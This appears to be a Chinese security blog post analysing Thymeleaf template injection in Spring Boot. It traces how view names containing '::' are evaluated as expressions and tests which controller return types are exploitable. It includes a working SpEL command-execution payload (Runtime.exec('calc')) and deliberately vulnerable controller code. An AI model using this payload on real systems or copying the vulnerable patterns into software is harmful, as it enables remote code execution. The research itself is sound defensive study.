前言
今天在 paper.seebug.org 上面看到的文章,以前没关注过这个点,现在看一看。
模板注入
写一个简单的 SprintBoot 程序,记得要加上 Thymeleaf 的依赖:
@Controller
public class MainController {
@GetMapping("/")
public String index(@RequestParam(value = "page")String page) {
return page;
}
}
然后调试跟一下,SpringBoot 通过反射调用控制器函数构造一个 ModelAndView 对象,然后经过 processDispatchResult、render、view.render 的调用,来到 renderFragment:
if (!viewTemplateName.contains("::")) {
// No fragment specified at the template name
templateName = viewTemplateName;
markupSelectors = null;
} else {
// Template name contains a fragment name, so we should parse it as such
final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
final FragmentExpression fragmentExpression;
try {
// By parsing it as a standard expression, we might profit from the expression cache
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (final TemplateProcessingException e) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
如果返回值中包含 :: 字符,就代表这个模板名是一个引用,会对模板名进行一次表达式解析,payload 类似 Spel 表达式:
${T(java.lang.Runtime).getRuntime().exec("calc")}::index
表达式语法可以看这里,简单来说就是用变量表达式在代码表达式中执行 Spel 表达式。
除了这种返回类型为 String 的写法,按照参考文章,还有其他写法,比如 void:
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
}
阅读文档,可以得知此时会将请求 URI 作为模块名,所以也可以进行表达式注入。
至于其他返回类型,View 或许也是可以的,不过就太罕见了。
其他返回类型的情况
@ResponseBody
使用方式看这里,在加上了这个注解的情况下,SpringBoot 会将返回值处理成 JSON 而不会将其当作模板。
比如返回一个 Map:
@Controller
@SuppressWarnings({"rawtypes", "unchecked"})
public class MainController {
@GetMapping("/")
@ResponseBody
public Map index(@RequestParam(value = "page")String page) {
Map map = new HashMap();
map.put("page", page);
return map;
}
}
可以看到返回的类型为 application/json。
HttpEntity\,
ResponseEntity\
光看名字完全看不懂的,文档上说 ResponseEntity 和 @ResponseBody 类似,不过还可以设置 HTTP 状态码和头:
@GetMapping("/")
public ResponseEntity<String> index(@RequestParam(value = "page")String page) {
String body = "Just a test.";
String name = "Twings";
return ResponseEntity.ok().header("name", name).body(body);
}
HttpEntity 跟 ResponseEntity 相似,可以设置头:
@RequestMapping("/")
public HttpEntity index(HttpEntity<String> requestEntity) {
HttpHeaders headers = new HttpHeaders();
headers.add("name", "Twings");
return new HttpEntity(requestEntity.getBody(), headers);
}
两种返回类型同样都不会涉及模板操作。
HttpHeaders
只返回头,没有响应体:
@RequestMapping("/")
public HttpHeaders index() {
HttpHeaders headers = new HttpHeaders();
headers.add("name", "Twings");
return headers;
}
View
理论上可以返回一个 ThymeleafView 从而实现模板注入,但是要给这个 ThymeleafView 设置好 ApplicationContext、Locate 等数据,而 locate 的 setter 是 protected,所以写起来会很奇怪:
public class MainController {
@Autowired
ApplicationContext context;
@RequestMapping("/")
public View index() throws Exception {
ContentNegotiationManager contentNegotiationManager = new ContentNegotiationManager();
SpringTemplateEngine springTemplateEngine = new SpringTemplateEngine();
ThymeleafViewResolver thymeleafViewResolver = new ThymeleafViewResolver();
thymeleafViewResolver.setApplicationContext(context);
thymeleafViewResolver.setTemplateEngine(springTemplateEngine);
ContentNegotiatingViewResolver contentNegotiatingViewResolver = new ContentNegotiatingViewResolver();
contentNegotiatingViewResolver.setContentNegotiationManager(contentNegotiationManager);
List<ViewResolver> list = new ArrayList<>();
list.add(thymeleafViewResolver);
contentNegotiatingViewResolver.setViewResolvers(list);
String exp = "${T(java.lang.Runtime).getRuntime().exec(\"calc\")}::x";
ThymeleafView view = (ThymeleafView) contentNegotiatingViewResolver.resolveViewName("index", new Locale("zh_cn"));
if (view != null) {
view.setTemplateName(exp);
}
return view;
}
}
太怪异了。
Map、Model
无法利用,因为这两种返回类型的数据会放入 model 中,而构造出来的 view 与 model 无关,他们无法影响模板名。
模板名从 request 中构造。
@ModelAttribute
同上。
ModelAndView
可以:
@RequestMapping("/")
public ModelAndView index() {
ModelAndView modelAndView = new ModelAndView();
String exp = "${T(java.lang.Runtime).getRuntime().exec(\"calc\")}::x";
modelAndView.setViewName(exp);
return modelAndView;
}
DeferredResult、Callable、ListenableFuture、CompletionStage、CompletableFuture
用于异步操作,类似:
@RequestMapping("/")
public DeferredResult<String> quotes() {
DeferredResult<String> deferredResult = new DeferredResult<String>();
deferredResult.onTimeout(new Runnable() {
@Override
public void run() {
String exp = "${T(java.lang.Runtime).getRuntime().exec(\"calc\")}::x";
deferredResult.setResult(exp);
}
});
return deferredResult;
}
ResponseBodyEmitter、SseEmitter、StreamingResponseBody
看起来是直接写入响应体的,无法使用。
ReactiveAdapterRegistry
跟 DeferredResult,似乎是写入相应流的,无法使用。
other return value
似乎是影响 model,无法使用。
Orz